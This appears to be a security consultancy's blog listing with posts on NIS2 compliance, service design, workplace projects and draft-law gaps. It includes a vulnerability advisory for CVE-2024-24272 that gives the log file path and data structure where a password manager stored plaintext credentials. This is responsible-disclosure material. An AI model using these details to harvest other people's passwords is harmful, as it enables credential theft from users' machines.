Kategorie: Allgemein

Allgemein, Incidents, Risikomanagement, Security Engineering

Wie ITSM die NIS2 Compliance unterstützt 

Mit der Einführung der NIS2-Richtlinie, die eine Umsetzung in nationales Recht bis zum 18.10.2024 vorsieht, werden Unternehmen dazu verpflichtet, angemessene Maßnahmen zur Gewährleistung der Cybersicherheit zu ergreifen. Im Rahmen des IT Service Managements (ITSM) sind verschiedene Aspekte von NIS2 von Bedeutung, um die Compliance sicherzustellen und die Cybersicherheit zu stärken. 

Die Umsetzung der EU-Richtlinie in deutsches Recht wird aktuell immer weiter verschoben. Im aktuell öffentlichen Entwurf des deutschen NIS2-Umsetzungsgesetzes steht zwar weiterhin der 01.10.2024 als Beginn der Umsetzungspflicht, aber aktuelle Gerüchte weisen darauf hin, dass die Verabschiedung des Gesetzes sich auch über dieses Datum hinaus verzögern könnte.  

Über drei Jahrzehnte Erfahrung von HiSolutions in der IT-Management- und Informationssicherheitsberatung zeigen, dass die in NIS2 geforderten Maßnahmen und deren wirksame Umsetzung sehr zeitaufwändig sein können. Unsere Empfehlung bleibt deshalb, sofort auf Basis der bereits jetzt verfügbaren Informationen wie den jetzigen EU-Vorgaben, dem aktuellen Entwurf des deutschen Umsetzungsgesetzes sowie gängigen Standards und BSI-Vorgaben zu handeln. 


Mit diesem Übersichtsartikel bauen wir einen Leitfaden auf. Dieser soll auch Unternehmen, die zum ersten Mal regulatorisch erfasst werden, eine Einführung in die Best Practices im IT Service Management bieten. Zukünftige Artikel zur Vertiefung behandeln folgende NIS2-relevante Handlungsfelder: 

  1. Behandlung von Sicherheitsvorfällen 

Unternehmen müssen Prozesse zur Erkennung, Meldung und Behandlung von Sicherheitsvorfällen implementieren. NIS2 legt fest, dass Organisationen Sicherheitsvorfälle innerhalb bestimmter Fristen melden und angemessene Maßnahmen zur Eindämmung und Behebung ergreifen müssen. Daher müssen Unternehmen entsprechende Incident Management Prozesse etablieren, um Sicherheitsvorfälle effektiv zu bearbeiten und die Auswirkungen auf ihre IT-Dienste zu minimieren.  

Aus Sicht des IT-Service Managements sind hier der Service Desk, bei dem Endanwender mit Meldungen zu Sicherheitsvorfällen ankommen, der Incident Management Prozess, der eng mit dem Security Incident Prozess verzahnt sein sollte sowie die Maßnahmen rund um das Logging und Monitoring von Systemen involviert. 

  1. Business Continuity 

NIS2 fordert von Unternehmen die Entwicklung von Business-Continuity-Plänen, um die Verfügbarkeit kritischer Dienste auch während und nach Sicherheitsvorfällen sicherzustellen. Im IT Service Management werden aus dem Business Continuity Management (BCM) die entsprechenden IT Service Continuity Management (ITSCM) Maßnahmen abgeleitet. Das ITSCM ist wiederum eng mit dem Availability und dem Capacity Management verbunden. Um ein ITSCM effektiv zu gestalten, sind Grundlagen aus dem Service Configuration Management notwendig. 

  1. Auslagerungsmanagement 

Unternehmen, die kritische Dienste an externe Dienstleister auslagern, müssen sicherstellen, dass diese Dienstleister angemessene Sicherheitsmaßnahmen implementieren. NIS2 legt fest, dass Unternehmen die Verantwortung für die Sicherheit ihrer ausgelagerten Dienste nicht delegieren können. Im ITSM bedeutet dies, dass Unternehmen geeignete Mechanismen für das Auslagerungsmanagement etablieren müssen, um sicherzustellen, dass externe Dienstleister die Anforderungen an die Cybersicherheit erfüllen. Die entsprechenden Maßnahmen werden im Supplier sowie im Service Level Management definiert. 

  1. Security Awareness 

Die Sensibilisierung der Mitarbeiter für Cybersicherheit ist ein zentraler Bestandteil der NIS2-Compliance. Unternehmen müssen Schulungsprogramme zur Sicherheitsaufklärung durchführen, um das Bewusstsein und Verständnis für Sicherheitsrisiken zu fördern. Im ITSM ist es wichtig, Security Awareness Trainings in die laufenden Schulungsaktivitäten zu integrieren, um sicherzustellen, dass Mitarbeiter die Bedeutung von Cybersicherheit verstehen und entsprechend handeln. Dabei hat der Service Desk eine Nähe zu den Anwendern und das Relationship Management zu den Kunden, was für die Etablierung und Durchführung von Security Awareness Maßnahmen genutzt werden kann. 

  1. Risikoanalyse 

Eine kontinuierliche Risikoanalyse ist entscheidend für die Identifizierung und Bewertung von Sicherheitsrisiken gemäß den NIS2-Anforderungen. Unternehmen müssen Risikomanagementprozesse implementieren, um potenzielle Bedrohungen zu erkennen und geeignete Gegenmaßnahmen zu ergreifen. Im ITSM sollten Unternehmen regelmäßige Risikobewertungen durchführen und angemessene Sicherheitskontrollen implementieren, um Risiken zu minimieren und die Compliance sicherzustellen. Dies geschieht im Bereich Risk Management. 

  1. Übergreifende Practices 

NIS2 hat weitreichende Auswirkungen auf verschiedene Aspekte des ITSM und erfordert eine integrierte Herangehensweise an die Cybersicherheit. Dies geschieht durch die Best Practices im Information Security Management und wird durch das Infrastructure and Plattform Management gestützt. Unternehmen müssen sicherstellen, dass ihre ITSM-Prozesse und -Praktiken die Anforderungen von NIS2 erfüllen und eng mit anderen Compliance-Richtlinien und -Standards wie z. B. ISO 27001 abgestimmt sind. Durch eine ganzheitliche Herangehensweise können Unternehmen die Cybersicherheit stärken und die Einhaltung der Vorschriften im IT Asset/Deployment Management sicherstellen. Das dafür notwendige Change Management wiederum bezieht sich auf bewährte Prozesse und Methoden zur systematischen Planung, Steuerung und Umsetzung von Veränderungen in IT Systemen und Services. Ziel ist es, Änderungen kontrolliert und effektiv zu verwalten, um Risiken zu reduzieren und die Zuverlässigkeit der IT Services zu erhöhen. 

NIS kommt: Wir unterstützen Sie bei der Umsetzung. 
Der neue NIS2-Kompass von HiSolutions zeigt Ihnen in einer schnellen Selbstauskunft, ob Ihre Organisation von NIS2 betroffen ist und was Sie tun müssen.

HiSolutions Research
Advisories, Allgemein

CVE-2024-24272 – DualSafe Password Manager Leaks Credentials

During an investigation, HiSolutions discovered a credential leak of a password manager that was installed as browser extension. After reporting the vulnerability, the vendor was quick to respond and implemented a fix.

Summary

The DualSafe Password Manager by iTop before version 1.4.24 leaks credentials as plaintext in a log file that can be accessed by the local user without knowledge of the master secret (CWE-532). This vulnerability was assigned CVE-2024-24272.

Update to the newest version (at least 1.4.24) as soon as possible and replace potentially leaked credentials.

Vulnerability Details

The following details were produced in a test setup with the vulnerable version 1.4.21 of the DualSafe Password Manager installed in Chrome. After storing and using several credential pairs via the blue extension icon on the top right corner, the log file started showing some entries that contain the plaintext credentials.

Logging is done via a text file in the directory of the browser extension, in this case: C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\000003.log (file name may vary).

The following image depicts the credential pair stored in DualSafe (right) as well as the log file that contains the same password as plaintext (left).

DualSafe password manager and its log file. Cleartext credentials are marked in the log file.
DualSafe Password Manager leaks plaintext password in log file.

One interesting thing to note is that, while the log file contains some credentials as plaintext in a structure like this one: cacheTabinfoes1_1Þ{"[...]":{"confirmItem":{"pwd":"<password>",[...], "type":"login","uname":"<user>","uri":["<url>"]}}}, there are also similar structures with the key pwd but their value is encrypted. Though the observed log events did not indicate the exact trigger for an entry with a plaintext password, passwords could already be extracted after just a few login attempts.

Usually, the password manager requires a master secret to unlock and access the stored credentials. This vulnerability allows an attacker to harvest stored credentials from the log file without knowing the master secret.

Remediation

iTop announced a fix in version 1.4.24.

Shortly after reporting the vulnerability details to iTop, a fix was implemented and rolled out across Firefox, Edge, and Chrome. Update to the newest version as soon as possible and check for potentially leaked passwords in the described location (the exact path depends on the browser).

Should passwords have been leaked this way, rotate them after updating the extension.

Responsible Disclosure Timeline

  • 04.01.2024 – HiSolutions contacts iTop
  • 30.01.2024 – HiSolutions contacts iTop again after no response
  • 31.01.2024 – iTop responds and requests vulnerability details
  • 31.01.2024 – HiSolutions provides all vulnerability details
  • 01.02.2024 – iTop announces that a fix has been implemented and will be published soon
  • 02.02.2024 – iTop requests a delay before publication to roll out the fix
  • 05.02.2024 – iTop releases 1.4.24 on Firefox and Edge
  • 15.02.2024 – iTop releases 1.4.24 on Chrome
  • 12.03.2024 – HiSolution requests green light for publication
  • 13.03.2024 – iTop accepts and states that 1.4.24 fixes the vulnerability

Credits

This vulnerability was discovered by Paula T., Joshua Z. and Pascal B. (HiSolutions AG). We also thank iTop for their swift response and remediation regarding this vulnerability.

Allgemein

Security by Service Design 

Bilden Service Management und Information Security Management das Dream-Team zur dauerhaften Gewährleistung des Sicherheitsniveaus? Der Security by Service-Design (SxSD) Ansatz adressiert, dass Security in allen Bereichen des Service Managements mitgedacht und mitgelenkt wird – und sorgt so dafür, dass Sicherheit von der ersten Idee eines neuen Service über die Inbetriebnahme und den Regelbetrieb bis zur Außerbetriebnahme gewährleistet wird.  

Von Martin Glaser, Andreas Dassen, Franz Gläser und Robert Manuel Beck

Trotz allgegenwärtig zunehmender Sicherheitsvorfälle wird Security meist immer noch in einem von zwei Modi betrieben: entweder nach dem Gießkannenprinzip der Compliance (Gleiches Maß an Sicherheit für alle Services & Anwendungen) oder nach der Rettungsdienstlogik (Vorfall -> Management Attention -> Aktivismus), bisweilen mühsam getarnt durch das Label der Risikobasiertheit. Bei vielen Unternehmen folgt das IT-Sicherheitsprogramm noch keinem systematischen Grundsatz. 

In der Softwareentwicklung ist Security by Design ein wichtiges Paradigma, das hilft, Sicherheit frühzeitig und ganzheitlich im Code zu verankern. Dies zielt jedoch in der Regel auf einzelne Produkte ab, ist damit aufwendig, immer individuell umzusetzen und vor allem auf die Entwicklungsphase am Anfang des Lebenszyklus beschränkt. Der Ansatz Security by Service Design erweitert das Konzept von der Softwareentwicklung auf den gesamten Lebenszyklus der Services, mithin Einsatzzweck und Daseinsberechtigung der Produkte, also die Service-Erbringung. Für die betriebenen und angebotenen Services kommt somit eine angemessene Security nicht mehr zufällig heraus, sondern wird kontinuierlich an neue Bedrohungen, Technologien oder sonstige veränderte Anforderungen angepasst. 

Verankerung in der Serviceerbringung

Es existiert in der Praxis oftmals kein abgestimmtes Vorgehen zwischen Service Management und Information Security Management: 

Solange diese Trennung von Service Management und Security fortbesteht, finden im Prinzip zwei getrennte Kämpfe gegen dieselben Windmühlen statt. In Kombination mit fehlendem Business-Know-how auf beiden Seiten führt das dazu, dass die Ziele einerseits nicht aufeinander abgestimmt sind, andererseits Business-Anforderungen immer wieder individuell abgeholt werden müssen. Das wirkt auf alle Beteiligten im Geschäftsprozess dauerhaft zermürbend. 

Es fehlt also an einer Vorgehensweise, um die Serviceerbringung systematisch, ganzheitlich und dauerhaft mit der Security in das gesamte Service-Portfolio einfließen zu lassen. 

Andersherum wäre es hilfreich, Security als Kosten- und Nutzenfaktor durch das Service Management sicht- und messbar zu machen. Das wiederum, um die Kosten zu optimieren und den konkreten Nutzen für das Business herauszustellen. 

Dafür ist ein „Shift Left“ im Sinne einer Vorverlagerung analog zum Bereich der Softwareentwicklung notwendig. Dort hat das Konzept bereits einen großen Rückhalt. Security muss also von Anfang an in die Diskussion mit dem Kunden einfließen. Das verlangt nach einem intensiven Abgleich mit dem Business. So wird das richtige Maß an Sicherheit für jeden Service über den gesamten Lebenszyklus aufgebaut und aufrechterhalten. Dadurch werden Risikobasiertheit, Wirtschaftlichkeit und Nachhaltigkeit zu Qualitätskategorien. Über diese wird mit Kunden verhandelt und nicht zuletzt auch die Preisfindung betrieben. Gelingen kann das jedoch nur durch tiefe Integration in andere Qualitätsprozesse und die eingesetzten Service Management Frameworks. 

Ist die Zusammenarbeit erfolgreich, ergibt sich für Information Security Management eine höhere Sicherheit. Denn das gewünschte Risikoniveau im Betrieb ist dauerhaft gewährleistet. Das garantiert reduzierten Stress durch weniger Feuerwehreinsätze und eindeutige Verantwortlichkeiten. Aufseiten des Service Managements lässt sich eine erhöhte Kundenzufriedenheit erzielen sowie gegebenenfalls auch ein Alleinstellungsmerkmal auf dem Markt produzieren. 

Das neue Dream-Team 

Wenn es also gelingt, die Ziele von Service Management und Information Security Management aufeinander abzustimmen, kann eine Kette von Sicherheitsanforderungen vom Kunden des IT-Services bis hin zu den von den einzelnen IT-Bereichen erbrachten Services abgebildet werden.  

Dafür müssen Kunden beantworten, welche Anforderungen an Vertraulichkeit, Integrität, Verfügbarkeit und weitere Werte der im Service verarbeiteten Informationen zu stellen sind. Durch Konkretisierung und Einstufung des Schutzbedarfs in einem Service-Level-Agreement (SLA) lassen sich dann reale Maßnahmen in der Serviceerbringung definieren. Das Service-Modell muss dafür das Wissen bereitstellen, welche Bereiche innerhalb der IT an der Leistungserbringung eines jeden Services beteiligt ist. Die Servicekomponente wird durch die Unterstützung von Information Security Management in Maßnahmen pro Bereich definiert. Damit wird das jeweilige Sicherheitslevel gewährleistet. Dazu stellt der Service-Manager mit Unterstützung durch Information Security Management sicher, dass das benötigte Sicherheitsniveau auch im Zusammenspiel der unterschiedlichen Servicekomponenten eingehalten wird. 

Die Sichtweise des Security by Service Designs ist folgende: Angestrebt wird die verlässliche Sicherheit des Services während seines gesamten Lebenszyklus – alle Beteiligten und Stakeholder dabei zu berücksichtigen ist eine Selbstverständlichkeit, egal ob sie innerhalb oder außerhalb der Organisation angesiedelt sind. 

Um das zu erreichen, muss das Service Design explizit auch Sicherheitsfragen berücksichtigen, dabei sowohl Bedrohungen von außerhalb der Organisation als auch die oftmals ignorierten internen Risiken beachten und sich vor allem in einer frühen Phase der Einführung und Entwicklung einbringen. Zusammenfassend gesprochen: Das Service Management muss alle vier Quadranten der von den Phasen Einführung und Betrieb sowie von externen und internen Bedrohungsquellen aufgespannten Matrix betrachten. 

Fazit 

Mittels Security by Service Design wird über den gesamten Service Lifecycle ein angemessenes Level an Sicherheit gewährleistet. So werden Potenziale für Sicherheitsverbesserungen aktiv gestaltet. Das Mittel dazu ist das Service Design, oder umfassender gedacht: das Service Management. 

Dank Security by Service Design können mithilfe des im Service Management kanalisierten Business-Know-Hows (wo?) gemeinsam mit der technischen Expertise der Security (wie?) Bedrohungen deutlich besser abgewehrt werden. Damit wird durch die Zusammenarbeit von IT-Service Management und Information Security Management Sicherheit effizienter auf das angestrebte Niveau gebracht. 

Allgemein

Warum sind Workplace-Projekte so komplex?

Anyone who fails to plan, is planning to fail: In der Welt der IT-Projekte scheitern immer wieder Workplace-Projekte. Das liegt daran, dass die Komplexität dieser Vorhaben unterschätzt wird. Aber warum sind Digital Workplace-Projekte schwerer zu realisieren als andere IT-Einführungsprojekte – und was kann für den Projekterfolg getan werden? 

Eine Studie aus 2022 ergab, dass 17 % aller großen IT-Projekte derart schlecht laufen, dass sie sogar die Existenz von Unternehmen bedrohen. Tatsächlich überschreiten zwei von drei umfangreichen IT-Projekten das ursprüngliche Budget um ein Vielfaches. Dazu verfehlen sie den Zeitplan und bleiben deutlich hinter den gesteckten Projektzielen zurück. Insbesondere bei Projekten im Bereich Digital Workplace fällt auf, dass deren Komplexität oft unterschätzt wird. Welche Faktoren müssen also für eine erfolgreiche Umsetzung betrachtet werden? 

These 

Die Essenz eines Workplace-Projekts liegt in der Synchronisation zwischen Stakeholdern. Stakeholder gibt es zwar in jedem IT-Einführungsprojekt, aber beim Thema Workplace gibt es eine große Zahl unterschiedlicher Interessensgruppen, da in der Regel alle Bereiche des Unternehmens mit dem Digital Workplace arbeiten und somit betroffen sind. Die Komplexität des Workplace-Projekts steigt auch mit den hohen Anforderungen an die Informationssicherheit und den Datenschutz. Eine weitere Komplexität addiert sich durch die vielen Applikationen und ggf. deren Schnittstellen, die gemanagt werden müssen. Zuletzt muss beachtet werden das der Workplace nicht nur digital stattfindet. Sofern ein Unternehmen mehrere Standorte hat, muss auch die dort bereitgestellte Arbeitsumgebung aufeinander abgestimmt sein.  

Umso schwieriger ist es, alle Interessen und Anforderungen im Blick zu behalten. Die Komplexität der Aufgaben der Projektleitung erhöht sich exponentiell mit der Anzahl der vom Projekt betroffenen Bereiche. Welche Strategien und Maßnahmen sind also für die Projektleitung in einem Workplace-Projekt zu empfehlen, um der hohen Komplexität und unterschiedlichen Arbeitsweisen im Unternehmen gerecht zu werden? 

Das Workplace Umfeld 

Maßgeblich gibt es mehrere Faktoren, die das Scheitern eines Workplace-Projekts begünstigen können. Wenn im Projekt keine genauen Rahmenbedingungen herrschen, ist es generell zum Scheitern verurteilt. Egal welches IT-Projekt realisiert werden soll: Es sollte immer eine feste Niederschrift geben, die festlegt welche Ziele im Projekt erreicht werden sollen und vor welchen Hintergründen. Die Festlegung der genauen Anforderungen und Funktionalitäten des neuen Workplace muss gegeben sein, bevor es in die Umsetzung geht. Dann heißt es nicht mitten in der Umsetzungsphase: Back to the drawing board. Zu den schriftlich festgelegten Rahmenbedingungen gehört auch eine klare Rollenverteilung innerhalb des Projekts. Durch diese wird klar, wer welche Teile des Projekts verantwortet, beeinflusst und wo es (direkte) Abhängigkeiten im Workplace-Projekt gibt. 

Mit der Festlegung der konkreten Ziele des Workplace-Projekts ist der Grundbaustein gelegt. Wenn über den Projektverlauf hinweg keine kontinuierliche Kommunikation stattfindet, wird sich darauf keine erfolgreiche Umsetzungsphase aufbauen lassen. Die eben erwähnte Einbindung aller Parteien sollte dazu genutzt werden, einen aktiven Austausch über Anforderungen, Abhängigkeiten, den Projektumfang und die aktuellen Entwicklungen am Laufen zu halten. Indem alle Parteien einbezogen werden und kurze Feedback-Zyklen genutzt werden lässt sich garantieren, dass die vielen Interdependenzen und Abhängigkeiten offengelegt werden. Dadurch arbeiten alle Beteiligten synchronisierter und stellen sich im Workflow nicht gegenseitig Schranken vor die Umsetzung. 

Eine erfolgreiche Kommunikation zwischen Projektsponsoren, Kunden, Endnutzern und IT stärkt die Erfolgschance eines Workplace-Projekts – auch nach dessen Abschluss. Und was kann die Organisation tun, um die Projektleitung zu unterstützen?

  

Die Organisation 

Idealerweise stellt die Organisation der Projektleitung die kompletten Rahmenbedingungen bereit. In diesen sollte festgelegt sein,  

  • welche übergeordneten Ziele die Organisation verfolgt und wie sich das Workplaceprojekt in diese einfügt (Big Picture), 
  • was das zukünftig abgeschlossene Workplaceprojekt bewirken soll, 
  • welche Ergebnisse in welchem Zeithorizont erwartet werden. 

Stehen diese Rahmenbedingungen fest ist es an der Projektleitung, den Erfolg des Workplace-Projekts zu garantieren.

Als Projektleitung den Überblick behalten 

Die Projektleitung muss sich der Komplexität eines Workplace-Projekts bewusst und entsprechend ausgerüstet sein. Oft muss deutlich mehr geleistet werden als bei einer durchschnittlichen IT-Projektleitung. Vor allem im Umgang mit Endnutzern der Organisation und deren Beschwerden muss die Projektleitung Feingespür beweisen, um nicht in Ungnade zu fallen, da die Anforderungen an die Benutzerfreundlichkeit sehr hoch sind.  

Deshalb sollte primär für jegliches Workplace-Projekt eine erfahrene Projektleitung eingesetzt werden. Diese sollte keinerlei inhaltliche Teilprojekte übernehmen, um den Fokus auf die zentrale Projektsteuerung sicherzustellten. Die Projektleitung kann auch durchaus aus mehreren Personen bestehen, die das Großprojekt gemeinsam leiten. Eine geteilte Leitung zeigt meist eine höhere Interdisziplinarität und somit eine bessere Problembewältigung im Projekt auf.  

  

Fazit 

Bei einem Workplace-Projekt gibt es ganz schön viel zu beachten! HiSolutions kennt die richtigen Mittel und Wege, um den Hürden durch die Potenzierung der Stakeholder entgegenzuwirken. Das Digital Workplace-Team weiß, wie ein Workplace-Projekt erfolgreich zwischen Zielen und Abhängigkeiten navigiert werden muss.  

Mehr zum Thema Digital Workplace in unserer Success Story: Auswahl einer internen Kommunikationsplattform für die Evangelisch-Lutherische Kirche in Oldenburg 

HiSolutions Research
Allgemein

Kurioses um NIS2

Das NIS2-Umsetzungsgesetz soll zum 1.10.2024 in Kraft treten. Mit Sanktionen, die an die DSGVO erinnern und umfangreichen Pflichten wirkt die NIS2 auf rund 35.000 Unternehmen und viele von ihnen werden das erste Mal regulatorisch erfasst.

Doch gut neun Monate vor Inkrafttreten des Gesetzes ist noch einiges unklar. Nicht alles davon ist problematisch – vieles aber zumindest kurios. Im Folgenden erklären wir die wesentlichen Details von NIS2 und benennen einige Unklarheiten bezüglich Sektoren, Definitionen, Regulierung digitaler Akteure und Querverweise zu anderen Gesetzen. Im Hinblick auf den neuen Gesetzesentwurf vom 02.01.2024 (noch nicht veröffentlicht) zielt dieser Artikel darauf ab, ein tiefgehendes Bild des aktuellen Gesetzesstandes zu geben und einige Prüfkriterien für den neuen Entwurf vom 02.01.2024 aufzuwerfen.

Der nachfolgende Artikel basiert auf dem Diskussionspapier vom Bundesministerium des Innern und für Heimat vom 27.09.2023.

NIS2-Grobkonzept

Das NIS2-Grobkonzept richtet sich an alle, die noch keinen detaillierten Kontakt mit den Referentenentwürfen zu NIS2 hatten. Die übrigen Leserinnen und Leser können gerne bei der nächsten Überschrift “Sektorendefinition” weiterlesen.

Unter NIS2 werden privatwirtschaftliche Unternehmen, öffentliche Institutionen und Mischformen unter den Begriff “Einrichtung” gefasst. Generell hängt die Betroffenheit unter NIS2 von dem Sektor des Kerngeschäfts und der Größe der jeweiligen Einrichtung ab.

Im Diskussionspapier vom 27.09.2023 werden vom BMI die Sektoren in Anlage 1 & 2 in Form einer Liste definiert. Wenn eine Einrichtung in den dort gelisteten Sektoren tätig ist, muss sie in der Regel im nächsten Schritt basierend auf ihrer Größe klassifiziert werden.

Hier werden zwei Einrichtungsarten unterschieden: “besonders wichtige” und “wichtige” Einrichtungen.

Ein wichtiger Unterschied zwischen besonders wichtigen oder wichtigen Einrichtungen betrifft aktuell die Sanktionshöhe: Besonders wichtige Unternehmen können mit bis zu 10 Mio. € oder 2 % des Jahresumsatzes, wichtige Unternehmen mit bis zu 7 Mio. € oder 1,4 % des Jahresumsatzes sanktioniert werden.

Neben diesem “Standardfall” gelten Ausnahmen für bestimmte Sektoren und Einrichtungsarten, die unabhängig von ihrer Größe in den Geltungsbereich von NIS2 fallen. Die größte Gruppe innerhalb dieser Ausnahme bilden die Betreiber kritischer Anlagen. Sie werden unabhängig der Unternehmensgröße als besonders wichtige Einrichtung erfasst. Ihre Klassifizierung richtet sich nach der Menge der von ihnen versorgten Menschen, der Richtwert liegt bei 500.000 Menschen. Für Betreiber Kritischer Anlagen gelten verschärfte Pflichten unter NIS2.

Sektorendefinition

Das Thema Ernährung

Unter NIS2 werden die Sektoren tabellarisch in einer Liste im Anhang des Gesetzestextes aufgeführt. Auf diese Anlage 1 & 2 wird im Fließtext immer wieder verwiesen. Dabei entstehen unter anderem zwei Diskrepanzen.

Ein erster interessanter Punkt ist, dass Ernährung als Sektor im Bereich der kritischen Anlagen erwähnt wird, aber es letztendlich nicht mehr in die Anlage 1 geschafft hat – wo er der Logik folgend auftauchen müsste. Denn alle Sektoren für die NIS2 gilt und in denen Betreiber kritischer Anlagen tätig sind werden ebenfalls Anlage 1 aufgelistet. Findige Gesetzestextverfolgende wissen außerdem, dass es den Sektor „Produktion, Verarbeitung und Vertrieb von Lebensmitteln“ in Anlage 2 gibt – Anlage 2 gilt aber eben nur für „wichtige“ Einrichtungen und nicht für die Betreiber kritischer Anlagen.

Staatliche Einrichtungen werden endlich inkludiert, oder?

Außerdem gilt NIS2 auf EU-Ebene sehr explizit für die öffentlichen Verwaltungen und Zentralregierungen. Konkret steht dort:

“Unabhängig von der Größe der Einrichtungen gilt diese Richtlinie auch für Einrichtungen der in den Anhang I oder II genannten Art, wenn […] die Einrichtung eine Einrichtung der öffentlichen Verwaltung:

i), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung der Zentralregierung ist oder

ii), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung auf regionaler Ebene ist, die nach einer risikobasierten Bewertung Dienste erbringt, deren Störung erhebliche Auswirkungen auf kritische gesellschaftliche oder wirtschaftliche Tätigkeiten haben könnte.” Art. 2 (2)

[Original EU-Richtlinie mit Veröffentlichung vom 27.12.2022

In der deutschen Gesetzgebung sollen die dazugehörigen Einrichtungen laut Fließtext in Anlage 3 definiert werden. Anlage 3 aber wurde bisher im Diskussionspapier nicht mitgeliefert.

Regulierung Digitaler Dienstleistungen

Neben den allgemeinen Sektoren-Definitionen gibt es auch Punkte, die gerade für einige Einrichtungen im IT-Bereich noch unklar bleiben.

Anlage 1 Sektor Informationstechnik und Telekommunikation unterscheidet zwischen den Einrichtungsarten „Anbieter öffentlicher elektronischer Kommunikationsnetze“ und „Anbieter öffentlich zugänglicher elektronischer Kommunikationsdienste“. Ja, auch wir haben hier zweimal die Begriffe vergleichen müssen, sie unterscheiden sich im Kern. Die Krux liegt darin, dass die “Anbieter von Telekommunikationsdiensten oder öffentlich zugänglichen Telekommunikationsnetzen” die in §30 & §31 definierten Risikomanagement-Maßnahmen nicht umsetzen müssen. Bei dem Abgleich der ersten zwei Begriffe mit dem zweiten Begriffspaar wird jedoch deutlich, dass es nicht genau die gleichen Begriffe sind. Da die Begriffe nicht näher definiert werden, liegt der Gedanke nah, dass sie bedeutungsgleich sind – ob aber diese Annahme vor den möglichen Sanktionen bewahren würde, bleibt unklar.

Im Fließtext des Definitionspapiers wird immer wieder von „Domain-Name-Registry-Dienstleistern“ gesprochen. Diese sind „ein Registrar oder eine Stelle, die im Namen von Registraren tätig ist, insbesondere Anbieter oder Wiederverkäufer von Datenschutz- oder Proxy-Registrierungsdiensten“. In Teil 4 §51-53 werden umfangreiche weitere Pflichten für „Top Level Domain Name Registries“ und „Domain-Name-Registry-Dienstleister“ definiert. In den Einrichtungsarten der Anlage 1 oder 2 werden allerdings nur „TLD-Namensregister“ eingeschlossen. Den sprachlichen “Denglisch”-Mix außen vorgelassen scheint es, als wären die allgemeinen DNR’s in der Anlage 1 oder 2 vergessen worden. Die Kritikalität (also besonders wichtig oder wichtig) der „Domain-Name-Registry-Dienstleistern“ ist somit unklar.

Weiterhin ist auch unklar, wie „Verwaltung für IKT-Dienste“ in das Bild von Sektoren und Teilsektoren gehört. In §35 (2) wird „Verwaltung für IKT-Dienste“ im gleichen Atemzug wie andere Sektoren aus den Anlagen 1 & 2 genannt, aber in der Anlage 1 & 2 taucht die Verwaltung für IKT-Dienste weder auf Sektoren- noch auf Einrichtungsebene auf.

Diese Querverweise zwischen Fließtext und Anhang sind es, die häufig Fragen offenlassen. Doch der Blick sollte nicht nur auf die interne Struktur eines Gesetzes beschränkt bleiben. Auch ist es spannend zu sehen, wie dieses Gesetz mit anderen Rechtsvorschriften zusammenwirkt – ein Aspekt, der im nächsten Abschnitt näher beleuchtet wird.

NIS2 und andere Gesetze

Die Verweise auf andere Gesetze finden häufig in der Sektorendefinition statt.

So wird zum Beispiel unter § 28(4) werden Ausnahmen der Geltung im Bereich Energiewirtschaft definiert. Hier wird auf §5c Energiewirtschaftsgesetz verwiesen.

Auszug vom Gesetz über die Elektrizitäts- und Gasversorgung an der verwiesenen Stelle

Nach detaillierter Recherche fanden wir heraus, dass das Bundesministerium für Wirtschaft und Klimaschutz eine Gesetzesänderung plant. In dieser Änderung sollen die aktuellen §§ 11 Abs. 1a EnWG und Abs. 1b EnWG in den §5c EnWG verschoben werden. Diese Änderung wurde bereits vorausschauend im Diskussionspapier berücksichtigt, eine Fußnote wäre in diesem Fall benutzerfreundlich gewesen. Das aktuelle EnWG schafft aber auch keine Eindeutigkeit, welchen der diversen benannten Einrichtungsarten der Ausschluss aus vielen NIS2 Pflichten gilt.

Ein weiteres Problem sind Verweise auf ungenaue Definitionen, zum Beispiel bei den Gesundheitsdienstleistern. Diese werden als “Erbringer von Gesundheitsdienstleistungen” im Sektor Gesundheit in den Geltungsbereich fallen. Was ein Gesundheitsdienstleister ist, wird im aktuellen Diskussionsentwurf nicht näher definiert. Im NIS2-Gesetzestext vom 27.12.2022 wird an dieser Stelle auf Artikel 3 Buchstabe g der Richtlinie 2011/24/EU des Europäischen Parlaments verwiesen:

g) „Gesundheitsdienstleister“ jede natürliche oder juristische Person oder sonstige Einrichtung, die im Hoheitsgebiet eines Mitgliedstaats rechtmäßig Gesundheitsdienstleistungen erbringt;

Artikel 3 Buchstabe g der Richtlinie 2011/24/EU

Neben dieser schwammigen Definition wurden Gesundheitsdienstleister auch schon unter NIS1 erfasst, allerdings bei der Überführung in KritisV übergangen. Das aktuelle Papier legt nahe, dass Gesundheitsdienstleister nun wieder in den Geltungsbereich fallen.

Bekanntlich gilt für Finanzeinrichtungen ein Dschungel aus Vorgaben der unterschiedlichsten Gesetze (MaRisk, DORA, SWIFT, MiFid, BAIT, VAIT). NIS2 soll allerdings nur für Finanzunternehmen gelten, die nicht unter DORA fallen. Dies wird konkret in §28(1) definiert:  “…Ausgenommen sind Finanzunternehmen im Sinne des Artikel 2 Absatz 2 der Verordnung (EU) 2022/2554 “Für die Zwecke dieser Verordnung werden die in Absatz 1 Buchstaben a bis t genannten Unternehmen zusammen als „Finanzunternehmen“ bezeichnet.” und Unternehmen, für welche die Anforderungen der Verordnung (EU) 2022/2554 auf Grund von § 1a Absatz 2 Kreditwesengesetz [“(weggefallen)”] oder § 293 Absatz 5 Versicherungsaufsichtsgesetz [existiert nicht] gelten”.  Aktuell sind diese Querverweise noch nicht hilfreich in der Bestimmung des Geltungsbereichs von NIS2 bei den Finanzakteuren.

Das aktuelle Diskussionspapier ist genau das – ein Entwurf. Die genannten Unklarheiten in den Details sind aber im Zweifelsfall essentiell, denn der Aufbau der entsprechenden Systeme für NIS2-Compliance kann für Unternehmen sehr zeitaufwendig sein. Sobald der nächste Entwurf veröffentlicht wurde, werden wir eine neue Bewertung der Texte vornehmen.

Wenn Sie auf dem aktuellen Stand bleiben wollen, abonnieren Sie gerne unsere regelmäßig erscheinenden Newsletter zu Kritis und BCM und besuchen Sie unsere NIS2-Website.

HiSolutions Research
Advisories, Allgemein, Penetrationstest, Schwachstelle

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

